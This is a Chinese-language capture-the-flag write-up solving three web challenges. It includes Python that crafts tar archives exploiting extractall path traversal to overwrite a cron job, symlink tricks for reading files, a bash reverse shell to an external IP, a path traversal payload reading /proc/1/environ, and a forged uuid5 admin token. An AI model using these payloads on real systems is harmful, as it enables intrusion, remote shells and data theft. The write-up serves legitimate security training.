目录
File Sharing Portal
附件的Dockerfile给了这么一段
# Add the cron job to the crontab
RUN mkdir /etc/cron.custom
RUN echo "*/5 * * * * root rm -rf /app/uploads/*" > /etc/cron.custom/cleanup-cron
RUN echo "* * * * * root cd / && run-parts --report /etc/cron.custom" | tee -a /etc/crontab
# Give execution rights on the cron job
RUN chmod +x /etc/cron.custom/cleanup-cron
RUN crontab /etc/cron.custom/cleanup-cron
RUN crontab /etc/crontab
- 创建目录:
/etc/cron.custom
用于存储自定义的 cron 任务。 - 定义清理任务:每 5 分钟清理
/app/uploads/
目录下的文件,写入到/etc/cron.custom/cleanup-cron
文件中。 - 在 crontab 中注册:将
/etc/cron.custom
目录中的任务每分钟运行一次,run-parts
会执行目录下的所有脚本。 - 赋予执行权限:给 cron 脚本执行权限。
- 安装到 crontab:通过
crontab
命令安装任务到系统中。
那么我们可以用恶意文件覆盖/etc/cron.custom/cleanup-cron
注意到flag在/app下
COPY REDACTED.txt /app/
# The flag file is redacted on purpose
题目源码存在目录穿越漏洞
tar_file.extractall()
:解压 .tar
文件的 extractall()
方法未指定安全检查,因此如果 .tar
文件包含特意构造的文件路径(如 ../../
),则攻击者可以将文件解压到任意目录,甚至覆盖系统中的敏感文件。
先用路径穿越覆盖/etc/cron.custom/cleanup-cron
方法一:
cronjob.txt
#!/bin/bash
ls /app/ > /app/ls.txt
再给777权限
chmod 777 cronjob.txt
生成一个恶意的tar文件,上传
import tarfile
import os
# Overwrite the cronjob
with tarfile.open('write.tar', 'w') as tar:
tar.add('cronjob.txt', arcname='../../../etc/cron.custom/cleanup-cron')
再用软链接读/app/ls.txt
ln -s /app/ls.txt dummy.txt
生成tar包,上传
import tarfile
def create_tar_with_symlinks(tar_path, path):
with tarfile.open(tar_path, 'w') as tar:
tar.add(path, arcname=path)
create_tar_with_symlinks('read_ls_txt.tar', 'dummy.txt') # Read dummy.txt to read the `ls.txt`
读dummy.txt得到flag文件名
/app/flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt
rm dummy.txt
ln -s /app/flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt dummy.txt
import tarfile
def create_tar_with_symlinks(tar_path, path):
with tarfile.open(tar_path, 'w') as tar:
tar.add(path, arcname=path)
create_tar_with_symlinks('read_flag.tar', 'dummy.txt') # Read dummy.txt to read the flag!
同理上传生成的tar,读dummy.txt拿到flag
方法二:
cronjob.txt直接写反弹shell
#!/bin/bash
bash -c "bash -i >& /dev/tcp/124.222.136.33/1337 0>&1"
再生成恶意tar包,上传
import tarfile
import os
# Overwrite the cronjob
with tarfile.open('rev.tar', 'w') as tar:
tar.add('cronjob.txt', arcname='../../../etc/cron.custom/cleanup-cron')
成功反弹shell
翻目录拿flag
Focus-on-yourSELF
点击View会显示一张图片
注意到url存在文件包含点
尝试打目录穿越
payload:
/view?image=../../../../../../../../../proc/1/environ
base64解码拿到flag
Passwordless
源码
#!/usr/bin/env python3
from flask import Flask, request, redirect, render_template, render_template_string
import subprocess
import urllib
import uuid
global leet
app = Flask(__name__)
flag = open('/flag.txt').read()
leet=uuid.UUID('13371337-1337-1337-1337-133713371337')
@app.route('/',methods=['GET','POST'])
def main():
global username
if request.method == 'GET':
return render_template('index.html')
elif request.method == 'POST':
username = request.values['username']
if username == 'admin123':
return 'Stop trying to act like you are the admin!'
uid = uuid.uuid5(leet,username) # super secure!
return redirect(f'/{uid}')
@app.route('/<uid>')
def user_page(uid):
if uid != str(uuid.uuid5(leet,'admin123')):
return f'Welcome! No flag for you :('
else:
return flag
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
自己生成给定命名空间下admin123的uuid即可
import uuid
# 定义固定的命名空间 UUID
leet = uuid.UUID('13371337-1337-1337-1337-133713371337')
# 生成 uuid5 值
uid = uuid.uuid5(leet, 'admin123')
# 输出结果
print(uid)
#3c68e6cc-15a7-59d4-823c-e7563bbb326c
访问./3c68e6cc-15a7-59d4-823c-e7563bbb326c拿到flag